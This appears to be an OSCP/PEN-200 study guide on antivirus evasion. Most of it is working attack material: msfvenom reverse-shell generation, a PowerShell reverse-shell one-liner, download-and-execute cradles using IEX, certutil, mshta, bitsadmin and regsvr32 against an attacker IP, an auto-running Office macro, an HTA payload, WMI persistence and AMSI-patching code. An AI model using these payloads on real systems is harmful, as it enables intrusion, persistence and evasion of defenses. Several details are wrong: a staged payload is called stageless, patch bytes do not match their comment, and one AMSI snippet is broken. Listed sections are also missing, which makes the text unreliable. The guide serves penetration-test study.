Domain 3Exploit Dev & AV EvasionCORE

Antivirus Evasion

Study notes for Antivirus Evasion covering key PEN-200 methodology and lab techniques.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-05
#Antivirus Evasion#PEN-200

OSCP Study Guide: Antivirus Evasion

Author: OSCP Research Guide Last Updated: 2026-08-31 Difficulty: Intermediate to Advanced Prerequisites: Understanding of Windows internals, networking, and basic penetration testing


Table of Contents

  1. How Antivirus Detection Works
  2. Payload Encoding Techniques
  3. Payload Generation Strategies
  4. Code Obfuscation Techniques
  5. Compilation Techniques
  6. Process Injection Techniques
  7. Living off the Land (LotL)
  8. Fileless Malware Concepts
  9. AMSI Bypass Techniques
  10. Script Block Logging Bypass
  11. Defense Against EDR Solutions
  12. Mimikatz Delivery Techniques
  13. Cobalt Strike Basics
  14. Sliver C2 Framework
  15. Veil Framework
  16. Custom Payload Development

1. How Antivirus Detection Works

1.1 Detection Methods Overview

Antivirus (AV) and Endpoint Detection and Response (EDR) solutions use multiple layers of detection:

Detection Method Description Strengths Weaknesses
Signature-based Matches file/hash against known malware database High accuracy for known threats Cannot detect new/modified malware
Heuristic analysis Analyzes code patterns and structures suspicious of malware Detects variants of known malware Higher false positive rate
Behavioral analysis Monitors runtime behavior for suspicious activities Catches unknown threats in action Resource intensive, can be evaded
Cloud-based detection Sends samples to cloud for analysis Leverages collective intelligence Requires internet, privacy concerns
Sandbox analysis Executes samples in isolated environment Observes real behavior Can be detected and evaded

1.2 Signature-Based Detection

How it works:

  • AV maintains a database of known malware signatures (hashes, byte sequences)
  • Files are scanned and compared against this database
  • Match = detection and quarantine

Key concepts:

  • MD5/SHA1/SHA256 hashes: Unique file fingerprints
  • YARA rules: Pattern matching rules for malware identification
  • Byte sequence matching: Looking for specific byte patterns in binaries

Evasion strategy:

  • Modify the payload even slightly to change its hash
  • Use encoding, encryption, or packing
  • Custom compilation changes binary signature

1.3 Heuristic Analysis

How it works:

  • Analyzes code structure and patterns
  • Looks for suspicious API calls and behaviors
  • Scores the file based on suspicious indicators
  • High score = detection

Common heuristic indicators:

  • Self-modifying code
  • Code unpacking routines
  • Suspicious API call sequences
  • Obfuscated strings
  • Unusual PE structure

Evasion strategy:

  • Remove suspicious API calls where possible
  • Use legitimate APIs for malicious purposes
  • Delay suspicious behavior until after initial scan

1.4 Behavioral Analysis

How it works:

  • Monitors process behavior at runtime
  • Tracks API calls, file access, network connections
  • Looks for chains of suspicious behaviors
  • Real-time monitoring of system activity

Monitored behaviors:

  • Process injection attempts
  • Registry modifications
  • File system changes
  • Network connections to suspicious destinations
  • Credential access attempts

Evasion strategy:

  • Delay execution to avoid sandbox time limits
  • Use manual techniques instead of automated tools
  • Mimic legitimate application behavior
  • Use living-off-the-land binaries

1.5 Cloud-Based Detection

How it works:

  • Suspicious files are uploaded to cloud services
  • Multiple engines analyze the sample
  • Results are aggregated and returned
  • Machine learning models assist in classification

Key services:

  • Microsoft Defender Cloud
  • Google Safe Browsing
  • VirusTotal-style aggregation

Evasion strategy:

  • Generate unique payloads each time
  • Avoid well-known tool signatures
  • Use custom implementations

1.6 Sandbox Analysis

How it works:

  • File is executed in an isolated virtual environment
  • Behavior is monitored and recorded
  • Network traffic is captured and analyzed
  • Results determine if the file is malicious

Sandbox detection indicators:

  • Virtual machine artifacts
  • Limited user interaction
  • Short execution time
  • Hooked API calls

Evasion strategy:

Common sandbox evasion techniques:
- Check for VM artifacts (MAC addresses, hardware)
- Delay execution beyond sandbox timeout
- Require user interaction to proceed
- Check for debugging/sandbox indicators

1.7 Detection Flow Diagram

graph TD
    A[File Detected] --> B{Static Analysis}
    B -->|Signature Match| C[Quarantine]
    B -->|No Match| D{Heuristic Score}
    D -->|High Risk| E[Send to Sandbox]
    D -->|Low Risk| F[Allow]
    E --> G{Behavioral Analysis}
    G -->|Malicious| C
    G -->|Clean| H{Cloud Check}
    H -->|Malicious| C
    H -->|Clean| F
    F --> I[Runtime Monitoring]
    I -->|Suspicious Behavior| J[EDR Alert]
    I -->|Normal| K[Continue]

2. Payload Encoding Techniques

2.1 Why Encode Payloads?

Encoding transforms payload bytes to avoid detection while maintaining functionality:

Reason Description
Hash avoidance Changes file hash, defeating signature detection
String hiding Obscures sensitive strings from static analysis
Pattern disruption Breaks up known byte sequences
Layered defense Adds complexity to reverse engineering

2.2 msfvenom Encoders

msfvenom provides built-in encoders to transform payloads:

Available Encoders Table

Encoder Architecture Description Reliability
x86/shikata_ga_nai x86 Polymorphic encoder, most popular High
x86/junk_3cpu x86 Adds junk CPU instructions Medium
x86/call4_dword_pointer x86 Uses call instructions for encoding Medium
x86/countdown x86 Countdown-based encoding Medium
x86/fnstenv_mov x86 Uses FPU state for encoding Low
x86/negative x86 Negates payload bytes Low
x86/service_name x86 Encodes using service names Low
x86/single_static_bit x86 Single static bit encoding Low
x86/alpha_mixed x86 Alpha-numeric only encoding Low
x86/alpha_upper x86 Upper-case alpha only Low
x86/nonalpha x86 Non-alpha encoding Low
x86/nonupper x86 Non-upper encoding Low
x86/xor_dynamic x86 Dynamic XOR key encoding Medium

Basic Encoding Commands

# Basic encoding with shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 \
  -e x86/shikata_ga_nai -b '\x00' -f exe -o payload.exe

# Multiple encoding passes
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 \
  -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o payload.exe

# Chained encoders
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 \
  -e x86/shikata_ga_nai -i 2 | \
  msfvenom -e x86/junk_3cpu -i 2 -f exe -o payload.exe

# With bad characters avoidance
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 \
  -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x20' -f exe -o payload.exe

Encoder Parameters Explained

Parameter Description Example
-e Encoder to use -e x86/shikata_ga_nai
-i Number of iterations -i 5
-b Bad characters to avoid -b '\x00\x0a'
-f Output format -f exe, -f raw, -f c
-o Output file -o payload.exe

2.3 How shikata_ga_nai Works

graph LR
    A[Original Payload] --> B[XOR with Key]
    B --> C[Add Decoder Stub]
    C --> D[Encoded Payload]
    D --> E[Target Execution]
    E --> F[Decoder Runs First]
    F --> G[Decodes in Memory]
    G --> H[Original Payload Executes]

Technical details:

  • Uses XOR encryption with a rotating key
  • Prepends a small decoder stub to the payload
  • Decoder runs first, decrypts payload in memory
  • Original payload never touches disk in decoded form
  • Each encoding produces different output (polymorphic)

2.4 Custom Encoders

When built-in encoders are insufficient, create custom encoders:

Python XOR Encoder Example

import sys
import os

def xor_encode(payload, key):
    encoded = bytearray()
    for i, byte in enumerate(payload):
        encoded.append(byte ^ key[(i % len(key))])
    return bytes(encoded)

def generate_decoder(encoded_payload, key):
    decoder = f"""
unsigned char payload[] = {{
    {', '.join(f'0x{b:02x}' for b in encoded_payload)}
}};
unsigned char key[] = {{
    {', '.join(f'0x{b:02x}' for b in key)}
}};
void decode() {{
    for (int i = 0; i < sizeof(payload); i++) {{
        payload[i] ^= key[i % sizeof(key)];
    }}
    ((void(*)())payload)();
}}
"""
    return decoder

# Usage
with open('raw_payload.bin', 'rb') as f:
    payload = f.read()

key = os.urandom(8)
encoded = xor_encode(payload, key)
decoder = generate_decoder(encoded, key)

with open('encoded_payload.c', 'w') as f:
    f.write(decoder)

Custom Encoder Considerations

Factor Recommendation
Key generation Use random keys per payload
Decoder size Keep decoder stub minimal
Bad characters Ensure no bad chars in decoder
Architecture Match target architecture
Testing Verify on target system

2.5 Encoding Limitations

Limitation Description
Detection of encoders AV may detect known encoder patterns
Size increase Encoding adds decoder stub overhead
Stability issues Multiple iterations may cause crashes
Bad character conflicts Some payloads have unavoidable bad chars
Modern AV Modern solutions decode and analyze in memory

3. Payload Generation Strategies

3.1 Stage vs Stageless Payloads

Comparison Table

Feature Staged Payload Stageless Payload
Delivery Two-stage delivery Single delivery
Size Small initial payload Larger, complete payload
Speed Faster initial delivery Slower initial delivery
Reliability Depends on stage2 delivery More reliable
Detection risk Lower (smaller initial) Higher (larger file)
Use case Network constrained, stealth Reliable delivery needed
Example windows/meterpreter/reverse_tcp windows/meterpreter/reverse_tcp_staged

Staged Payload Flow

sequenceDiagram
    participant A as Attacker
    participant S as Stager
    participant T as Target
    participant P as Payload

    T->>S: Executes stager (small)
    S->>A: Reverse connection
    A->>S: Sends stage2 payload
    S->>P: Loads stage2 in memory
    P->>A: Full meterpreter session

Stageless Payload Flow

sequenceDiagram
    participant A as Attacker
    participant P as Payload
    participant T as Target

    T->>P: Executes full payload
    P->>A: Direct reverse connection
    A->>P: Full meterpreter session

3.2 Payload Formats

Format Extension Use Case Command
EXE .exe Standalone executable -f exe
DLL .dll DLL sideloading -f dll
Raw .bin Raw bytes for injection -f raw
PowerShell .ps1 PowerShell execution -f psh
Python .py Python execution -f python
Bash .sh Linux execution -f bash
C .c C source code -f c
Ruby .rb Ruby execution -f ruby
PHP .php Web shell -f php
JS .js JavaScript execution -f js_le
VBS .vbs VBScript execution -f vbs
WAR .war Java web app -f war

3.3 Payload Generation Commands

# Basic reverse TCP payload
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=443 -f exe -o payload.exe

# Stageless payload (more reliable)
msfvenom -p windows/meterpreter/reverse_tcp_staged \
  LHOST=10.10.14.5 LPORT=443 -f exe -o payload.exe

# PowerShell payload
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=443 -f psh -o payload.ps1

# Raw payload for manual injection
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=443 -f raw -o payload.bin

# With encoding
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=443 \
  -e x86/shikata_ga_nai -i 5 -b '\x00' \
  -f exe -o payload.exe

# Windows reverse HTTPS (more stealthy)
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=10.10.14.5 LPORT=443 -f exe -o payload.exe

# Windows reverse TCP via DNS
msfvenom -p windows/meterpreter/reverse_dns \
  DNS=attacker.com -f exe -o payload.exe

3.4 Payload Options

Option Description Example
LHOST Listener IP address LHOST=10.10.14.5
LPORT Listener port LPORT=443
DNS DNS name for reverse_dns DNS=attacker.com
PrependMigrate Auto-migrate to another process PrependMigrate=1
PrependMigrateProc Process to migrate to PrependMigrateProc=explorer.exe
EXITFUNC Exit function (thread/process) EXITFUNC=thread
InitialAutoRunScript Auto-run script on session InitialAutoRunScript=post/multi/manage/autoroute
AutoRunScript Script to run on new session AutoRunScript=migrate -f

3.5 Listener Setup

# Basic meterpreter listener
msfconsole -x "use exploit/multi/handler; \
  set PAYLOAD windows/meterpreter/reverse_tcp; \
  set LHOST 10.10.14.5; \
  set LPORT 443; \
  exploit -j -z"

# HTTPS listener
msfconsole -x "use exploit/multi/handler; \
  set PAYLOAD windows/meterpreter/reverse_https; \
  set LHOST 10.10.14.5; \
  set LPORT 443; \
  exploit -j -z"

# With auto-migration
msfconsole -x "use exploit/multi/handler; \
  set PAYLOAD windows/meterpreter/reverse_tcp; \
  set LHOST 10.10.14.5; \
  set LPORT 443; \
  set AutoRunScript migrate -f; \
  exploit -j -z"

4. Code Obfuscation Techniques

4.1 Why Obfuscate?

Obfuscation makes code harder to analyze without changing functionality:

Goal Description
Hide strings Prevent static analysis from finding sensitive data
Confuse analysts Make reverse engineering more difficult
Avoid patterns Break up known malicious code patterns
Delay detection Buy time before behavioral detection triggers

4.2 String Manipulation

Common String Obfuscation Methods

Method Description Example
Base64 encoding Encode strings as Base64 [Convert]::FromBase64String()
Hex encoding Encode as hex strings 0x41, 0x42, 0x43
Unicode encoding Use wide characters L"string"
String concatenation Build strings from parts "pow" + "er" + "shell"
ROT13/Caesar Shift character values Custom rotation
XOR encoding XOR with a key Byte-by-byte XOR

PowerShell String Obfuscation Examples

# Base64 encoded command
$cmd = [Convert]::FromBase64String("aWV4IEh0dHBwOi8vMTAuMTAuMTQuNS8w")
Invoke-Expression $cmd

# Hex encoded string
$hex = "706f7765727368656c6c"
$cmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromHexString($hex))

# String concatenation
$a = "pow"
$b = "er"
$c = "shell"
& "$a$b$c" -Command "Get-Process"

# Variable-based obfuscation
$v1 = "I"
$v2 = "n"
$v3 = "v"
$v4 = "o"
$v5 = "k"
$v6 = "e"
$v7 = "-"
$v8 = "E"
$v9 = "x"
$v10 = "p"
$v11 = "r"
$v12 = "e"
$v13 = "s"
$v14 = "s"
$v15 = "i"
$v16 = "o"
$v17 = "n"
& "$v1$v2$v3$v4$v5$v6$v7$v8$v9$v10$v11$v12$v13$v14$v15$v16$v17" "whoami"

4.3 Variable Renaming

C/C++ Variable Obfuscation

// Before (readable)
char* payload = get_payload();
void* memory = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(memory, payload, size);
((void(*)())memory)();

// After (obfuscated)
char* _0x4a1f = _0x7b2c();
void* _0x8d3e = VirtualAlloc(NULL, _0x9f1a, 0x1000, 0x40);
memcpy(_0x8d3e, _0x4a1f, _0x9f1a);
((void(*)())_0x8d3e)();

PowerShell Variable Obfuscation

# Readable
$listener = "10.10.14.5"
$port = 443
$client = New-Object System.Net.Sockets.TCPClient($listener, $port)

# Obfuscated
$_0x1a = "10.10.14.5"
$_0x2b = 443
$_0x3c = New-Object System.Net.Sockets.TCPClient($_0x1a, $_0x2b)

4.4 Control Flow Obfuscation

Techniques Table

Technique Description Effect
Dead code insertion Add unreachable code blocks Confuses static analysis
Opaque predicates Conditions always true/false Creates fake branches
Instruction substitution Replace instructions with equivalents Changes code pattern
Control flow flattening Restructure into state machine Hardens decompilation
Junk code insertion Add no-op instructions Increases complexity

Example: Dead Code in C

void execute_payload() {
    // Real code
    void* mem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Dead code (unreachable)
    if (0 == 1) {
        MessageBoxA(NULL, "This never runs", "Debug", 0);
        ExitProcess(0);
    }

    // More real code
    memcpy(mem, payload, payload_size);
    ((void(*)())mem)();

    // Another dead branch
    int x = 0;
    if (x > 0 && x < 0) {  // Always false
        // Fake cleanup code
        VirtualFree(mem, 0, MEM_RELEASE);
    }
}

4.5 Obfuscation Tools

Tool Language Description
OBFUSCATOR PowerShell PowerShell script obfuscator
Invoke-Obfuscation PowerShell Framework for PS obfuscation
pyobfuscate Python Python code obfuscator
js-obfuscator JavaScript JS code obfuscator
AllStar PowerShell Advanced PS obfuscation
ScareCrow PowerShell PS obfuscation framework

5. Compilation Techniques

5.1 msfvenom to Executable

Basic Compilation

# Generate EXE directly
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=443 \
  -f exe -o payload.exe

# Generate with icon (custom icon)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=443 \
  -x /path/to/legitimate.exe \
  -k -f exe -o payload.exe

# Template injection
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=443 \
  -x notepad.exe -k \
  -f exe -o payload.exe

Template Injection Explained

Parameter Purpose
-x Template executable to inject into
-k Keep original functionality, run payload in new thread
-f Output format

How template injection works:

  1. msfvenom reads the template executable
  2. Finds injection point in the PE structure
  3. Inserts payload at the injection point
  4. Modifies entry point to run payload first
  5. Original functionality runs after (if -k used)

5.2 Custom Compilers

MinGW (Minimalist GNU for Windows)

# Compile C payload with MinGW
i686-w64-mingw32-gcc payload.c -o payload.exe \
  -lws2_32 -lwininet -static-libgcc -static-libstdc++

# With UPX packing
i686-w64-mingw32-gcc payload.c -o payload.exe -lws2_32
upx --best payload.exe

Go Compilation

# Cross-compile Go payload for Windows
GOOS=windows GOARCH=386 go build -ldflags="-s -w" -o payload.exe payload.go

# With additional obfuscation
GOOS=windows GOARCH=amd64 go build \
  -ldflags="-s -w -extldflags '-static'" \
  -o payload.exe payload.go

Go Payload Example

package main

import (
    "os/exec"
    "syscall"
)

func main() {
    cmd := exec.Command("powershell", "-enc", "BASE64_ENCODED_COMMAND")
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    cmd.Run()
}

5.3 Compiler Comparison

Compiler Pros Cons Use Case
msfvenom Easy, integrated Well-known signatures Quick testing
MinGW Full control, C/C++ Requires setup Custom payloads
Go Cross-compile, portable Larger binaries Custom tools
Visual Studio Native Windows Heavy, detectable Advanced dev
Cobalt Strike Integrated C2 Expensive Red team ops

5.4 Packing Techniques

Packer Description Detection Risk
UPX Universal Packer eXtreme High (well-known)
ASPack Advanced Packer Medium
PECompact PE file packer Medium
Custom packer Self-written packer Low
# UPX packing
upx --best payload.exe

# UPX with obfuscation
upx --best --lzma payload.exe

Warning: UPX-packed files are heavily flagged by AV. Use custom packers for better evasion.


6. Process Injection Techniques

6.1 Why Process Injection?

Benefit Description
Hiding Malicious code runs in legitimate process
Persistence Survives if original dropper is removed
Privilege Inherit privileges of host process
Evasion AV may trust legitimate processes

6.2 Process Hollowing

How It Works

sequenceDiagram
    participant A as Attacker
    participant P as Payload
    participant T as Target Process
    participant M as Memory

    A->>T: Create suspended process
    T->>M: Allocate memory for image
    A->>T: Unmap original image
    A->>M: Allocate new memory region
    A->>M: Write malicious payload
    A->>T: Update PEB and entry point
    A->>T: Resume thread
    T->>M: Execute malicious code

Technical Steps

  1. Create legitimate process in suspended state (CreateProcessA with CREATE_SUSPENDED)
  2. Unmap the original process image (NtUnmapViewOfSection)
  3. Allocate new memory in the target process (VirtualAllocEx)
  4. Write the malicious payload to the allocated memory (WriteProcessMemory)
  5. Update the Process Environment Block (PEB) to point to new image
  6. Update the thread context to point to new entry point
  7. Resume the thread (ResumeThread)

Tools

Tool Description
metasploit post/multi/manage/shellcode_inject
Sysinternals Process Explorer for detection
Custom scripts Python/C implementations

6.3 Process Doppelganging

How It Works

graph TD
    A[Create Transaction] --> B[Create Suspended Process]
    B --> C[Write Malicious Binary]
    C --> D[Commit Transaction Partially]
    D --> E[Rollback Transaction]
    E --> F[File System Shows Legitimate]
    F --> G[Process Runs Malicious Code]

Technical Steps

  1. Create a file transaction (CreateFileTransacted)
  2. Create suspended process with transacted file
  3. Write malicious binary to the transacted file
  4. The process loads the malicious binary from transaction
  5. Rollback the transaction
  6. File system shows the original legitimate file
  7. Process continues running the malicious code

Why It’s Effective

Advantage Description
Fileless on disk Malicious binary never committed to disk
Forensic evasion File system shows clean state
Legitimate APIs Uses standard Windows transaction APIs

6.4 Reflective DLL Injection

How It Works

graph LR
    A[Load DLL bytes] --> B[Parse PE Header]
    B --> C[Allocate Memory]
    C --> D[Copy DLL Sections]
    D --> E[Relocate Imports]
    E --> F[Call DllMain]
    F --> G[DLL Runs in Memory]

Technical Steps

  1. Read DLL file into memory (without LoadLibrary)
  2. Parse the PE header to understand structure
  3. Allocate memory in target process (VirtualAllocEx)
  4. Copy DLL sections to allocated memory
  5. Fix up import addresses manually
  6. Call DllMain with DLL_PROCESS_ATTACH
  7. DLL runs entirely in memory

Tools

Tool Description
ReflectiveDLLInjection Original project by Stephen Fewer
metasploit windows/meterpreter/reflective_dll
Cobalt Strike Built-in reflective injection

6.5 Other Injection Techniques

Technique Description Complexity
APC Injection Inject via Asynchronous Procedure Calls Medium
Thread Hijacking Suspend and redirect thread execution Medium
Atom Bombing Abuse Windows atom table Low
Window Message Inject via window messages Low
Early Bird APC APC injection before process starts High
NtCreateThreadEx Create thread in remote process Medium

6.6 Detection and Evasion

Detection Method Evasion Strategy
Handle monitoring Use legitimate handles, minimize suspicious patterns
Memory scanning Encrypt payload, decode at runtime
API hooking Use unhooked APIs, direct syscalls
Behavioral analysis Mimic legitimate injection patterns
ETW logging Disable or bypass ETW where possible

7. Living off the Land (LotL)

7.1 What is LotL?

Living off the Land (LotL) uses legitimate, built-in system tools for malicious purposes:

Advantage Description
Trusted binaries Already signed and trusted by AV
No downloads Tools already exist on target
Expected behavior Normal admin tools, less suspicious
Hard to block Blocking breaks legitimate functionality

7.2 PowerShell Execution

Basic Techniques

# Download and execute
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/payload.ps1")

# Download cradle with encoding
powershell -enc BASE64_ENCODED_COMMAND

# Download file and execute
powershell -Command "Invoke-WebRequest -Uri http://10.10.14.5/payload.exe -OutFile $env:TEMP\update.exe; Start-Process $env:TEMP\update.exe"

# One-liner reverse shell
powershell -nop -exec bypass -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=[Text.Encoding]::ASCII.GetString($b,0,$i);$(cmd /c $d 2>&1)|%{$r=[Text.Encoding]::ASCII.GetBytes($_); $s.Write($r,0,$r.Length)}; $c.Close()}"

PowerShell Bypass Techniques

Technique Command
Execution Policy Bypass powershell -ep bypass
No Profile powershell -nop
Encoded Command powershell -enc BASE64
Download String IEX (New-Object Net.WebClient).DownloadString()
Compressed Zip Expand-Archive for staged delivery

PowerShell Constrained Language

# Check if constrained
[Environment]::GetEnvironmentVariable("PSModulePath")

# Bypass constrained language
# Method 1: Use .NET directly
$assembly = [System.Reflection.Assembly]::LoadFrom("path.dll")

# Method 2: Use COM objects
$com = New-Object -ComObject ScriptControl
$com.Language = "JScript"
$com.AddCode("function run(){var r=new ActiveXObject('WScript.Shell').Run('calc');}")
$com.Run("run")

7.3 WMI Execution

Basic WMI Commands

# Execute command via WMI
Get-WmiObject -List Win32_Process | Invoke-WmiMethod -Name Create -ArgumentList "calc.exe"

# Remote WMI execution
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName TARGET

# WMI event subscription (persistence)
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
    Name = "UpdateCheck"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance Isa 'Win32_Process' AND TargetInstance.Name = 'svchost.exe'"
}

# WMI for file download
$wmi = [WMI]''
$wmi.Get("Win32_Process").Create("powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/payload.ps1')\"")

7.4 CertUtil Techniques

File Download

# Download file using CertUtil
certutil -urlcache -split -f http://10.10.14.5/payload.exe payload.exe

# Decode base64 file
certutil -decode payload.b64 payload.exe

# Encode file to base64
certutil -encode payload.exe payload.b64

# Hash verification (can be abused)
certutil -hashfile payload.exe SHA256

Why CertUtil Works

Reason Description
Signed binary Microsoft-signed, trusted by AV
Legitimate purpose Certificate management tool
Network capability Built-in URL cache functionality
Encoding support Base64 encode/decode built-in

7.5 Mshta Execution

Basic Techniques

# Execute HTA file
mshta http://10.10.14.5/payload.hta

# Execute JavaScript via mshta
mshta "javascript:try{var r=new ActiveXObject('WScript.Shell').Run('calc');}catch(e){}"

# Execute VBScript via mshta
mshta "vbscript:close(Execute(\"CreateObject('WScript.Shell').Run('calc')\"))"

# Download and execute
mshta vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run(""powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/payload.ps1')"",0)"))

HTA Payload Example

<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/payload.ps1')", 0
</script>
</head>
<body>
</body>
</html>

7.6 Other LotL Binaries

Binary Path Use Case
bitsadmin C:\Windows\System32\bitsadmin.exe Download files
cmd C:\Windows\System32\cmd.exe Command execution
cscript C:\Windows\System32\cscript.exe Run scripts
wscript C:\Windows\System32\wscript.exe Run scripts (GUI)
regsvr32 C:\Windows\System32\regsvr32.exe DLL sideloading
rundll32 C:\Windows\System32\rundll32.exe DLL execution
wmic C:\Windows\System32\wbem\wmic.exe WMI execution
esentutl C:\Windows\System32\esentutl.exe File copy
expand C:\Windows\System32\expand.exe File extraction
forfiles C:\Windows\System32\forfiles.exe Command execution
makecab C:\Windows\System32\makecab.exe Archive creation
msiexec C:\Windows\System32\msiexec.exe MSI execution
odbcconf C:\Windows\System32\odbcconf.exe DLL sideloading
pcalua C:\Windows\System32\pcalua.exe Privilege escalation
replace C:\Windows\System32\replace.exe File operations
sc C:\Windows\System32\sc.exe Service management
ssh C:\Windows\System32\OpenSSH\ssh.exe Remote access
syncappvpublishingserver C:\Windows\System32\ DLL sideloading
verclsid C:\Windows\System32\verclsid.exe DLL sideloading

bitsadmin Example

# Download file
bitsadmin /transfer "MyDownload" http://10.10.14.5/payload.exe C:\Users\Public\payload.exe

# Execute after download
bitsadmin /transfer "MyDownload" http://10.10.14.5/payload.exe C:\Users\Public\payload.exe && C:\Users\Public\payload.exe

regsvr32 DLL Sideloading

# Load DLL via regsvr32
regsvr32 /s /n /u /i:http://10.10.14.5/payload.sct scrobj.dll

# DLL sideloading with regsvr32
regsvr32 /s payload.dll

7.7 LotL Detection and Evasion

Detection Evasion
Command-line logging Use encoded/obfuscated commands
Sysmon Event 1 Use expected parent-child relationships
AMSI scanning Apply AMSI bypass before execution
Script block logging Disable or bypass script block logging
Behavioral analysis Mimic legitimate administrative tasks

8. Fileless Malware Concepts

8.1 What is Fileless Malware?

Fileless malware operates without writing malicious files to disk:

Characteristic Description
Memory-resident Runs entirely in RAM
No disk artifacts Leaves minimal forensic traces
Legitimate tools Uses built-in system utilities
Ephemeral Disappears on reboot
Hard to detect Traditional AV scans files on disk

8.2 Fileless Attack Chain

graph TD
    A[Initial Access] --> B[Download Cradle]
    B --> C[PowerShell/WScript]
    C --> D[AMSI Bypass]
    D --> E[Memory Execution]
    E --> F[C2 Communication]
    F --> G[Lateral Movement]
    G --> H[Data Exfiltration]

    style A fill:#ff6b6b
    style E fill:#ffd93d
    style H fill:#6bcb77

8.3 Fileless Techniques

Technique Description Tools
PowerShell Execute from memory IEX, DownloadString
WMI Remote execution Win32_Process.Create
Office Macros Macro-enabled documents VBA, PowerShell
DLL Sideloading Load malicious DLL regsvr32, rundll32
Process Injection Inject into legitimate process CreateRemoteThread
COM Objects Abuse COM automation ScriptControl, WScript
Registry Store in registry Run keys, UserAssist

8.4 Office Macro Fileless Attack

Sub AutoOpen()
    ExecutePayload
End Sub

Sub Document_Open()
    ExecutePayload
End Sub

Sub ExecutePayload()
    Dim cmd As String
    cmd = "powershell -nop -exec bypass -c " & _
          "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/payload.ps1')"
    Shell cmd, vbHide
End Sub

8.5 Detection Challenges

Challenge Description
No file to scan Traditional AV scans files, not memory
Legitimate processes Uses trusted system binaries
Encrypted traffic C2 communication may be encrypted
Short lifespan May complete before detection
Memory volatility Evidence lost on reboot

8.6 Detection Methods

Method Description
Memory scanning Scan process memory for indicators
Behavioral monitoring Monitor suspicious process behavior
Network analysis Detect C2 communication patterns
Script logging Enable PowerShell and script logging
EDR solutions Advanced endpoint detection

9. AMSI Bypass Techniques

9.1 What is AMSI?

Antimalware Scan Interface (AMSI) allows security products to scan content:

Feature Description
Introduced Windows 10, Windows Server 2016
Purpose Standardize malware scanning interface
Scope PowerShell, JavaScript, VBScript, C# expressions
Integration Works with any AM-compatible antivirus

9.2 How AMSI Works

graph LR
    A[Script Execution] --> B[AMSI API Call]
    B --> C[Antivirus Scanner]
    C --> D{Malicious?}
    D -->|Yes| E[Block Execution]
    D -->|No| F[Allow Execution]

9.3 AMSI Bypass Techniques

Technique 1: Patch AMSI Buffer (PowerShell)

# Patch AMSI ScanBuffer function
$amsi = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils")
$amsi.Field("amsiInitFailed").SetValue($null, $true)

Technique 2: Patch AMSI in Memory

# Find and patch AMSI ScanBuffer
$ptr = [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(
    [System.Management.Automation.AmsiUtils]::GetMethod("AmsiScanBuffer", 
    [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static)
)

# Patch the first byte to return S_OK
[System.Runtime.InteropServices.Marshal]::WriteByte($ptr, 0x75)

Technique 3: Universal AMSI Bypass

# Universal bypass by patching amsi.dll
[Ref].Assembly.GetTypes() | Where-Object { $_.Name -match "AMSI" } | ForEach-Object {
    $_.GetFields([System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static) | ForEach-Object {
        $_.SetValue($null, $true)
    }
}

Technique 4: C# AMSI Bypass

using System;
using System.Runtime.InteropServices;

class AMSIBypass
{
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, 
        uint flNewProtect, out uint lpflOldProtect);

    public static void PatchAmsi()
    {
        IntPtr amsi = LoadLibrary("amsi.dll");
        IntPtr scanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");

        byte[] patch = new byte[] { 0x31, 0xff, 0x90 }; // XOR eax, eax; NOP
        uint oldProtect;
        VirtualProtect(scanBuffer, (UIntPtr)3, 0x40, out oldProtect);
        Marshal.Copy(patch, 0, scanBuffer, 3);
    }
}

9.4 AMSI Bypass Comparison

Technique Reliability Detection Risk Complexity
amsiInitFailed High Medium Low
Memory patching High High Medium
DLL patching Medium Medium High
Hooking Medium Low High
Custom AMSI Low Low Very High

9.5 AMSI Detection

Detection Method Description
